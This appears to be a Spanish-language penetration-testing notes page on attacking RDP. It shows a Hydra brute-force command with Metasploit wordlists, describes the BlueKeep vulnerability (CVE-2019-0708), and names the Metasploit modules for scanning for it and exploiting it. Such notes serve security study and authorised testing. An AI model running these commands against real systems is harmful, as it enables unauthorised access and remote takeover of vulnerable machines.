> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/servicios/rdp.md).

# RDP

## Fuerza Bruta

### Hydra

Para hacer fuerza bruta usamos hydra de la siguiente forma:

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://192.168.1.1 -s 3333
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2Fp3eaHL7sPGeiCCuF1uZD%2Fimage.png?alt=media&amp;token=e8251dd4-e8c3-4379-9e1c-b62932bdba5a" alt=""><figcaption></figcaption></figure>

## BlueKeep (CVE-2019-0708)

{% hint style="info" %}
BlueKeep (CVE-2019-0708) es una vulnerabilidad crítica en el servicio de Remote Desktop Protocol (RDP) de Microsoft Windows. Esta vulnerabilidad permite la ejecución remota de código en sistemas vulnerables, lo que significa que un atacante puede tomar el control de un equipo afectado sin necesidad de credenciales de usuario

Algunos S.O. afectados:

* Windows XP
* Windows Vista
* Windows 7
* Windows Server 2003
* Windows Server 2008 & R2
  {% endhint %}

### Detección

Podemos usar el siguiente modulo de metasploit:

```bash
/auxiliary/scanner/rdp/cve_2019_0708_bluekeep
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F2tvbtgK17pkWAlsOr3XZ%2Fimage.png?alt=media&amp;token=c0835355-eb6f-4d70-bcee-9f717bb59734" alt=""><figcaption></figcaption></figure>

### Explotación

Podemos usar el siguiente modulo de metasploit:

```bash
/exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F2G8uC15OzrYvpz7FkfBi%2Fimage.png?alt=media&amp;token=d37add95-9d5f-49ca-863e-735ae1d8a6c3" alt=""><figcaption></figcaption></figure>